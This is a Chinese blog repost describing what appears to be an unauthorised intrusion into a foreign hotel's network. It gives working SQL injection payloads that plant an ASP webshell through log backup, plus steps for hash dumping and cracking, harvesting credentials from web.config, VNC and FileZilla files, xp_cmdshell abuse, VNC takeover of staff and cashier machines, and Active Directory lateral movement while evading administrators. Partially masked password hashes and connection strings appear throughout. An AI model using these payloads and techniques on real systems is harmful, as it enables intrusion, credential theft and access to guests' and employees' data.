对国外某hotel的内网域简单渗透
Penetration Testing不单单是一个博客,更热衷于技术分享的平台。
本文将讲述对国外某一hotel的渗透测试,让更多的人安全意识得到提高,有攻才有防,防得在好,也有疏忽的地方,这就是为啥你”老婆”原来是你失散多年的兄妹.
网站初探
本篇由于不是针对性的对目标进行渗透测试, 所以直接寻找网站的常见漏洞进行渗透.灰话不多扯.(开启vpn,跳到肉鸡,嘞次购.)
首先了解一下网站的概况,查看网页链接,可以看出是asp.net写的,这里就可以猜测出服务器是windows+iis.使用火狐的Live HTTP headers插件刷的一下就可以看出来了.

通过Sql注入获取webshell
这里漏洞修补了,就不截图了,直接给出方法:
http://www.91ri.org/ test.aspx?id=1 AND 1 IN (select @@version)–返回
Microsoft SQL Server 2008 (RTM) – 10.0.1600.22 (X64)
通过Log备份获得webshell
Default
test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--
test.aspx?id=1;create/**/table/**/[pg]([a]/**/image)--
test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--
test.aspx?id=1;insert/**/into/**/[pg]([a])/**/values(0x3C25457865637574652872657175657374282272222929253E)--
test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%master.dbo.fn_varbintohexstr(0x44003A005C0049006E00650074007000750062005C0077007700770072006F006F0074005C0078002E00610073007000)/**/backup/**/log/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--
|
1
2
3
4
5
6
|
test.aspx?id=1;alter/**/database/**/[CRSHGC]/**/set/**/recovery/**/full--
test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--
test.aspx?id=1;create/**/table/**/[pg]([a]/**/image)--
test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--
test.aspx?id=1;insert/**/into/**/[pg]([a])/**/values(0x3C25457865637574652872657175657374282272222929253E)--
test.aspx?id=1;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%master.dbo.fn_varbintohexstr(0x44003A005C0049006E00650074007000750062005C0077007700770072006F006F0074005C0078002E00610073007000)/**/backup/**/log/**/[CRSHGC]/**/to/**/disk%3D@d/**/with/**/init--
|
权限提升
先query user看看有在线的木有,如图:

如果有管理在线的话,要么赶紧找到提权突破口就闪,要么就先撤了等时机在上,碰到细心的管理员netstat
-an一下就可以很快的排查出xxip在连它,把日志一看就把你T飞了。这里经过查看多个web.config(for一下)找到了数据库的sa明文密
码,当然你可以通过sql injection获取数据库密码hash进行破解.
在别人的地盘用”自己”的东西是不是好点,一个sa就可以干很多事情了。个人习惯,先上传gethash工具,如: PwDump7 GetHashes都是很不错的选择,抓好丢机子里用彩虹表慢慢跑,前提免杀(这里tasklist、net start、netstat -an一下木杀毒,此篇就不扯这了)
Default
ACC***ER:1120:7630AC7F823B-xxoo-435B51404EE:67C86B3C2C0-xxoo-7EB68485FF298D0:::
gr***ral:1135:C1812A18AB-xxoo-AD8EF711268D9:D80B352E1DF-xxoo-08BA668C67901B:::
br***ez:3142:397B32F70C9-xxoo-85F02E9B6432A9:3C6DF2F32-xxoo-43EBF3DA543347B16:::
C***nt:3143:42490206A91-xxoo-B435B51404EE:59F1886EEA9-xxoo-728AE1EFDF78EC89:::
hm***o:3145:0C3F791CC-xxoo-D87772F:4E0AC2608807827-xxoo-21717D800:::
......
|
1
2
3
4
5
6
7
|
Administrator:500:AAD3B435B514-xxoo-435B51404EE:4148523F64-xxoo-27962CFEBB8673:::
ACC***ER:1120:7630AC7F823B-xxoo-435B51404EE:67C86B3C2C0-xxoo-7EB68485FF298D0:::
gr***ral:1135:C1812A18AB-xxoo-AD8EF711268D9:D80B352E1DF-xxoo-08BA668C67901B:::
br***ez:3142:397B32F70C9-xxoo-85F02E9B6432A9:3C6DF2F32-xxoo-43EBF3DA543347B16:::
C***nt:3143:42490206A91-xxoo-B435B51404EE:59F1886EEA9-xxoo-728AE1EFDF78EC89:::
hm***o:3145:0C3F791CC-xxoo-D87772F:4E0AC2608807827-xxoo-21717D800:::
......
|
查看服务器基本信息
ipconfig /all
Default
Host Name . . . . . . . . . . . . : host1
Primary Dns Suffix . . . . . . . : A.COM
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : A.COM
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #2
Physical Address. . . . . . . . . : 00-14-85-02-00-xx
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.100.205
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.202
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.201
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.195
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.103
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.13
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.65
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.1
DNS Servers . . . . . . . . . . . : 192.168.100.201
192.168.100.212
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet
Physical Address. . . . . . . . . : 00-14-85-02-00-x2
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.100.84
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.83
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.82
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.81
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.80
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.49
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.1
DNS Servers . . . . . . . . . . . : 192.168.100.201
192.168.100.212
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
Windows IP Configuration
Host Name . . . . . . . . . . . . : host1
Primary Dns Suffix . . . . . . . : A.COM
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : A.COM
Ethernet adapter Local Area Connection 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet #2
Physical Address. . . . . . . . . : 00-14-85-02-00-xx
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.100.205
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.202
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.201
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.195
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.103
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.13
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.65
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.1
DNS Servers . . . . . . . . . . . : 192.168.100.201
192.168.100.212
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet
Physical Address. . . . . . . . . : 00-14-85-02-00-x2
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.100.84
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.83
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.82
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.81
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.80
Subnet Mask . . . . . . . . . . . : 255.255.255.0
IP Address. . . . . . . . . . . . : 192.168.100.49
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.100.1
DNS Servers . . . . . . . . . . . : 192.168.100.201
192.168.100.212
|
从上面就可以看出 是内网并且存在域,不清楚可以用命令net view /domain
Default
-------------------------------------------------------------------------------
B
A
WORKGROUP
The command completed successfully.
|
1
2
3
4
5
6
|
Domain
-------------------------------------------------------------------------------
B
A
WORKGROUP
The command completed successfully.
|
渗透A域中的机器
查看A域中都有哪些域成员。(IP直接ping下就知道,记录下TTL值,猜测系统版本)
dsquery server -o rdn (不清楚的可以nslookup A.com或者net group “domain controllers”,这些命令在域环境下执行)
Default
HGhost //192.168.100.212 TTL=128
host //192.168.100.205 TTL=128 本机
HGhost2 //192.168.100.213 TTL=128
host1 //本机
|
1
2
3
4
5
|
//查找当前域中所有的域控制器
HGhost //192.168.100.212 TTL=128
host //192.168.100.205 TTL=128 本机
HGhost2 //192.168.100.213 TTL=128
host1 //本机
|
可以看出本机为域控制器,那么得到domain admins权限就可以控制A域了,这里经过测试发现domain users权限的用户可以添加domain admins组的用户,直接net group “domain admins” xx /add就可以控制A域了(还是扯下吧,xx用户属于domain users跟administrators组,而administrators组加入了domain admins组 over),这里不建议添加用户之类的.因为这样很容易被发现,导致权限丢失。之前抓的系统hash部分密码用彩虹表破解出来了,我们用这些密码登录A域 中的其他机器试试,这里以截图为目的。
先敲下命令 看哪些用户加入了domain admins和domain users组:
Default
Group name Domain Users
Comment All domain users
Members
-------------------------------------------------------------------------------
AC××××R
Administrator
br××××××z
......
The command completed successfully.
net group "domain admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
net group "domain users" /domain
Group name Domain Users
Comment All domain users
Members
-------------------------------------------------------------------------------
AC××××R
Administrator
br××××××z
......
The command completed successfully.
net group "domain admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
|
插入一点:http://technet.microsoft.com/zh-cn/library/aa291270
这里只有administrator一个域管理,密码没破出来,大家可以hash注入整整。用domain users组权限的用户登录终端看看

好了 运气不错 用户存在 另一台host看IP就知道也是本机了 这里A域下的机器就先到这里,下面看看怎么渗透其他域。
渗透其他域下机器
轻松搞定WORKGROUP下机器
net view /domain:WORKGROUP
Default
-------------------------------------------------------------------------------
\\B*****T-DQ2SQG //192.168.100.41
\\I*** i*** Test Server //192.168.100.57
The command completed successfully.
|
1
2
3
4
5
|
Server Name Remark
-------------------------------------------------------------------------------
\\B*****T-DQ2SQG //192.168.100.41
\\I*** i*** Test Server //192.168.100.57
The command completed successfully.
|
这里有两台机器 workgroup里的机器是不属于域的 比如a b c三台机器 a加入了A域,那么workgroup就剩b c两台了,纯属屌丝个人理解。 先看看41这台 直接mstsc连上3389发现不行 各种猜测就别想了 这里之前从A域中的机器得知 有安装开启过vnc,telnet了下41 发现开启了 那么直接找到vnc密码连下试试,翻了下从C:\Program Files\uvnc bvba\UltraVnc\ultravnc.ini中找到了密码hash
Default
passwd=089F6××××6BC55
passwd=19C0××××××CF30B8
|
1
2
3
|
[ultravnc]
passwd=089F6××××6BC55
passwd=19C0××××××CF30B8
|
破解后用vnc连接工具连上41 输入破解出来的密码(当然可以不破用那啥工具来着..)很幸运 来张图:

这是台xp的 桌面还有安装好驱动的hp打印机 IP为204 应该属于员工机器

还有台57 直接mstsc连上 出现一个user用户 这里猜了几次密码 密码为连接vnc的密码(前面机器收集的多个vnc密码) 进去后此用户是管理员权限

收集下sa密码就撤了 回头用菜刀连一句话操作数据库方便 接着往下看…
渗透B域下的机器
net view /domain:B
Default
-------------------------------------------------------------------------------
\\BEZNAS DNS-323 //192.168.100.101 TTL=64
\\DSERVER //192.168.100.12 TTL=128
\\MSERVER //192.168.100.21 TTL=128
The command completed successfully.
|
1
2
3
4
5
6
|
Server Name Remark
-------------------------------------------------------------------------------
\\BEZNAS DNS-323 //192.168.100.101 TTL=64
\\DSERVER //192.168.100.12 TTL=128
\\MSERVER //192.168.100.21 TTL=128
The command completed successfully.
|
如果ping不通 可以查看下路由表 route print 一下:
Default
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x10003 ...00 14 85 02 00 xx ...... Broadcom NetXtreme Gigabit Ethernet #2
0x10004 ...00 14 85 02 00 x2 ...... Broadcom NetXtreme Gigabit Ethernet
===========================================================================
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.100.1 192.168.100.49 20
0.0.0.0 0.0.0.0 192.168.100.1 192.168.100.65 20
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
169.254.0.0 255.255.0.0 192.168.100.65 192.168.100.65 20
192.168.100.0 255.255.255.0 192.168.100.49 192.168.100.49 20
192.168.100.0 255.255.255.0 192.168.100.65 192.168.100.65 20
192.168.100.13 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.49 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.65 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.80 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.81 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.82 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.83 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.84 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.103 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.195 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.201 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.202 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.205 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.255 255.255.255.255 192.168.100.49 192.168.100.49 20
192.168.100.255 255.255.255.255 192.168.100.65 192.168.100.65 20
224.0.0.0 240.0.0.0 192.168.100.49 192.168.100.49 20
224.0.0.0 240.0.0.0 192.168.100.65 192.168.100.65 20
255.255.255.255 255.255.255.255 192.168.100.49 192.168.100.49 1
255.255.255.255 255.255.255.255 192.168.100.65 192.168.100.65 1
Default Gateway: 192.168.100.1
===========================================================================
Persistent Routes:
None
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
IPv4 Route Table
===========================================================================
Interface List
0x1 ........................... MS TCP Loopback interface
0x10003 ...00 14 85 02 00 xx ...... Broadcom NetXtreme Gigabit Ethernet #2
0x10004 ...00 14 85 02 00 x2 ...... Broadcom NetXtreme Gigabit Ethernet
===========================================================================
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.100.1 192.168.100.49 20
0.0.0.0 0.0.0.0 192.168.100.1 192.168.100.65 20
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
169.254.0.0 255.255.0.0 192.168.100.65 192.168.100.65 20
192.168.100.0 255.255.255.0 192.168.100.49 192.168.100.49 20
192.168.100.0 255.255.255.0 192.168.100.65 192.168.100.65 20
192.168.100.13 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.49 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.65 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.80 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.81 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.82 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.83 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.84 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.103 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.195 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.201 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.202 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.205 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.100.255 255.255.255.255 192.168.100.49 192.168.100.49 20
192.168.100.255 255.255.255.255 192.168.100.65 192.168.100.65 20
224.0.0.0 240.0.0.0 192.168.100.49 192.168.100.49 20
224.0.0.0 240.0.0.0 192.168.100.65 192.168.100.65 20
255.255.255.255 255.255.255.255 192.168.100.49 192.168.100.49 1
255.255.255.255 255.255.255.255 192.168.100.65 192.168.100.65 1
Default Gateway: 192.168.100.1
===========================================================================
Persistent Routes:
None
|
都处于同一个内网 那么有木有可能管理的用户密码都一样了 … 经过测试 用破出来用户密码跟mimikaz(这作者公布了源码 国内也有人给逆出来了 都是大牛啊)读出的明文测试登录都失败了 是这里有个用户b******z跟B域的名称是一样的 这之间肯定是有联系的. 咱们回头在翻翻之前的机器 部分机器安装了FileZilla客户端 找找FileZilla的帐号密码看看. C:\Documents and Settings\Administrator\Application Data这个目录存储些应用程序的配置信息 这里直接给出地址:
Default
C:\Users\User\AppData\Roaming\FileZilla\recentservers.xml win2k8
<FileZilla3>
<RecentServers>
<Server>
<Host>ftp.b********z.com</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>x****x</User>
<Pass>b****z</Pass>
<Logontype>1</Logontype>
<TimezoneOffset>0</TimezoneOffset>
<PasvMode>MODE_DEFAULT</PasvMode>
<MaximumMultipleConnections>0</MaximumMultipleConnections>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
C:\Documents and Settings\Administrator\Application Data\FileZilla\recentservers.xml win2k3
C:\Users\User\AppData\Roaming\FileZilla\recentservers.xml win2k8
<FileZilla3>
<RecentServers>
<Server>
<Host>ftp.b********z.com</Host>
<Port>21</Port>
<Protocol>0</Protocol>
<Type>0</Type>
<User>x****x</User>
<Pass>b****z</Pass>
<Logontype>1</Logontype>
<TimezoneOffset>0</TimezoneOffset>
<PasvMode>MODE_DEFAULT</PasvMode>
<MaximumMultipleConnections>0</MaximumMultipleConnections>
<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Server>
</RecentServers>
</FileZilla3>
|
那么这个ftp的内网地址多少呢 扫了下内网IP的端口 发现开21的就几台 一个个测试后 确定此ftp就是B域下的192.168.100.101,那么这是台啥机器呢,打开80端口看看 如图:

是台Dlink路由器 而网关100.1是sonicwall 我们看看ftp里面能找到什么可用的信息 从rar里找到了web.config文件
有个数据库连接地址为192.168.21.10的IP,发现可以ping通 telnet开放了21跟3389 用数据库帐号密码猜测登录了ftp
发现没啥可利用的. 在webshell里链接mssql得到sa权限(注意大小写,这里纠结了会)

先看看服务器基本信息 篇幅原因 我就不贴太多.
一波未平一波又起
ipconfig /all
Default
Host Name . . . . . . . . . . . . : H***-DC01
Primary Dns Suffix . . . . . . . : hg**.com
Node Type . . . . . . . . . . . . : Hxxxd
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : hg**.com
|
1
2
3
4
5
6
7
|
Windows IP Configuration
Host Name . . . . . . . . . . . . : H***-DC01
Primary Dns Suffix . . . . . . . : hg**.com
Node Type . . . . . . . . . . . . : Hxxxd
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : hg**.com
|
存在域 192.168.21.x段的内网 . dsquery server -o rdn了解到只有一台域控而且就是本机(这年头踩狗屎滴人特别多)来看看有几个域
net view /domain
Default
-------------------------------------------------------------------------------
HG**
MS**
The command completed successfully.
|
1
2
3
4
5
|
Domain
-------------------------------------------------------------------------------
HG**
MS**
The command completed successfully.
|
本机处在HG**域里 看看有多少台机器 如图:

MS**域
[EXEC master..xp_cmdshell ‘net view /domain:MS**’]
Server Name Remark
——————————————————————————-
\\ZE****X
The command completed successfully.
这3389的密码没有猜出来 net user有个把账户存在但是没破出密码 本来直接添加个domain admins用户
可whoami发现权限处在domain users组里 这回权限只存在此组里 其他别多想. 有了sa 先dir下看看都安全了什么软件
发现了FileZilla server版 之前都是client版没啥用,这个server版可以提权的

type读出FileZilla Server Interface.xml
EXEC master..xp_cmdshell ‘type c:\”Program Files (x86)\FileZilla Server\FileZilla Server Interface.xml”‘
Default
<Settings> |
<Item name="Last Server Address" type="string">127.0.0.1</Item>
<Item name="Last Server Port" type="numeric">14147</Item>
<Item name="Last Server Password" type="string">B****z</Item>
<Item name="Always use last server" type="numeric">1</Item>
<Item name="User Sorting" type="numeric">0</Item>
<Item name="Start Minimized" type="numeric">1</Item>
<Item name="Filename Display" type="numeric">1</Item>
</Settings> |
</FileZillaServer>
|
1
2
3
4
5
6
7
8
9
10
11
|
<FileZillaServer> |
<Settings> |
<Item name="Last Server Address" type="string">127.0.0.1</Item>
<Item name="Last Server Port" type="numeric">14147</Item>
<Item name="Last Server Password" type="string">B****z</Item>
<Item name="Always use last server" type="numeric">1</Item>
<Item name="User Sorting" type="numeric">0</Item>
<Item name="Start Minimized" type="numeric">1</Item>
<Item name="Filename Display" type="numeric">1</Item>
</Settings> |
</FileZillaServer>
|
密码跟ftp用户密码一样 FileZilla Server提权这里要注意版本的问题 不然也成功不了 出错如:
Protocol error: Protocol version mismatch: Server protocol version is 0.1.11.0, interface protocol version is 0.1.13.0
Connection to server closed.
lcx转发本地监听成功添加了一个对c盘的操作权限,但是替换sethc还是木有权限 不解释.
翻了下用户目录发现有个用户存在于之前所拿的机器中 通过之前的hash破解了此用户 但登录上去还是domain users权限. net
group “domain computers” 如图:

其实扫了下21 1433 3389 5900端口,发现都开了vnc端口 直接连接用之前收集到的3个vnc密码测试均可以拿下
这个段的基本都是员工机器 vnc连上能看到有的在敲代码写.net 有的还在发email 有的好像是收银的界面 另个域机器都在这内网段
这里就不蛋疼的截图了.但是域管理员权限还没拿到 大伙们可以试试win2k8提权工具搞搞 这里略.
截稿
为啥不继续了呢 因为上面在web.config找了一个新的内网段21.x 这里我又翻了下在一个rar压缩包了找到了web.config里有N个内网段
Default
name="27" connectionString="Data Source=192.168.51.11;Initial
Catalog=B**ne;User ID=B****z;Password=B****z"
providerName="System.Data.SqlClient"/>
<add name="29" connectionString="Data
Source=192.168.21.10;Initial Catalog=Me**rne;User
ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="30" connectionString="Data
Source=192.168.11.2;Initial Catalog=H**H;User ID=B****z;Password=B****z"
providerName="System.Data.SqlClient"/>
<add name="36" connectionString="Data
Source=192.168.71.11;Initial Catalog=H***A;User
ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="37" connectionString="Data
Source=192.168.31.11;Initial Catalog=Chr***ch;User
ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="39" connectionString="Data
Source=192.168.41.11;Initial Catalog=Auc***ndA;User
ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="59" connectionString="Data
Source=192.168.61.11;Initial Catalog=La***ston;User
ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="38" connectionString="Data Source=10.4.4.25;Initial
Catalog=JC***C;User ID=B****z;Password=B****z"
providerName="System.Data.SqlClient"/>
|
1
2
3
4
5
6
7
8
|
<add name="27" connectionString="Data Source=192.168.51.11;Initial Catalog=B**ne;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="29" connectionString="Data Source=192.168.21.10;Initial Catalog=Me**rne;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="30" connectionString="Data Source=192.168.11.2;Initial Catalog=H**H;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="36" connectionString="Data Source=192.168.71.11;Initial Catalog=H***A;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="37" connectionString="Data Source=192.168.31.11;Initial Catalog=Chr***ch;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="39" connectionString="Data Source=192.168.41.11;Initial Catalog=Auc***ndA;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="59" connectionString="Data Source=192.168.61.11;Initial Catalog=La***ston;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
<add name="38" connectionString="Data Source=10.4.4.25;Initial Catalog=JC***C;User ID=B****z;Password=B****z" providerName="System.Data.SqlClient"/>
|
好吧 扫了下存活机器挺多 数据库密码都一样 也有几个域 还有前面的域net group “domain computers”一下还有很多机器 都省略 方法跟上面都差不多 就不继续了(回头俺自己整) 文章主要跟着思路走 这里arp -a和查看路由表都没发现存在其他内网段 但从web.config里发现了新大陆 细心点会有很多发现 这个B域2台win2k8和一个dlink,win2k8用上面破出来的密码可以登录 但权限也是domain users组,篇幅原因 不多写 东西都在我的txt里 因为我后面还有几个内网域跟linux内网的文章没写 这里不花太多时间了 thx.
link:http://www.pentesting.cc/on-some-hotel-internal-network-domain-infiltration-cases.html
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。
对国外某hotel的内网域简单渗透的更多相关文章
- 得到内网域管理员的5种常见方法<转>
1.Netbios and LLMNR Name Poisoning 这个方法在WIN工作组下渗透很有用,WIN的请求查询顺序是下面三个步骤:本地hosts文件(%windir%\System32\d ...
- 内网域渗透之MS14-068复现
在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...
- 内网域渗透之MS14-068复现(CVE-2014-6324)
在做域渗透测试时,当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限.如果域控服务器存在MS14_068漏洞,并且未打补丁,那么我们就可以利用MS14_068快速获得域控服务 ...
- CS内网横向移动 模拟渗透实操 超详细
@Webkio 前言: 最近在跟朋友搞一些项目玩,所以最近没怎么更新内容接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白.本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自 ...
- kali ms17_010 内网环境下渗透笔记
一.先用Router Scan 扫描 看清楚了网络拓扑结构. 二.使用MS17-010批量扫描工具 下载:ms17-010Scan.exe (也可以用kali自带的nmap和ms17-10模块扫) ...
- 内网横向渗透 之 ATT&CK系列一 之 拿下域控制器
信息收集 信息收集 域控制器的相关信息: 通过arp扫描发现域控制器的ip地址为:192.168.52.138,尝试使用msf的smb_login模块登录smb是否成功 1 search smb_lo ...
- 内网横向渗透 之 ATT&CK系列一 之 横向渗透域主机
前言 上一篇文章中已获取了关于域的一些基本信息,在这里再整理一下,不知道信息收集的小伙伴可以看回上一篇文章哦 域:god.org 域控 windows server 2008:OWA,192.168. ...
- Vulnstack内网靶场3
Vulnstack内网靶场3 (qiyuanxuetang.net) 环境配置 打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行. 挂起状态,账号已默认登陆,cento ...
- 内网端口转发[SSH]
一.应用场景 获取到目标边界机器linux服务器一台,想继而向内网其他机器渗透,获取到一台webshell发现处于内网当中且不通外网.可以通过linux ssh隧道对目标内网机器进行访问. 二.利用手 ...
随机推荐
- DownloadManager的使用
DownloadManager是系统开放给第三方应用使用的类,包含两个静态内部类DownloadManager.Query和DownloadManager.Request.DownloadManage ...
- nginx访问控制allow、deny(ngx_http_access_module)
单看nginx模块名ngx_http_access_module,很多人一定很陌生,但是deny和allow相比没一个人不知道的,实际上deny和allow指令属于ngx_http_access_mo ...
- P1463 [HAOI2007]反素数
题目描述 对于任何正整数x,其约数的个数记作g(x).例如g(1)=1.g(6)=4. 如果某个正整数x满足:g(x)>g(i) 0<i<x,则称x为反质数.例如,整数1,2,4,6 ...
- 编程风格——UNIX 高手的 10 个习惯
引言 当您经常使用某个系统时,往往会陷入某种固定的使用模式.有时,您没有养成以尽可能最好的方式做事的习惯.有时,您的不良习惯甚至会导致出现混乱.纠正此类缺点的最佳方法之一,就是有意识地采用抵制这些坏习 ...
- iframe+json
import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.PropertyFilter; impor ...
- SQL中GETDATE()一些操作
Sql Server 中一个非常强大的日期格式化函数Select CONVERT(varchar(100), GETDATE(), 0): 05 16 2006 10:57AMSelect CONVE ...
- 0-Broadcast机制原理简要介绍
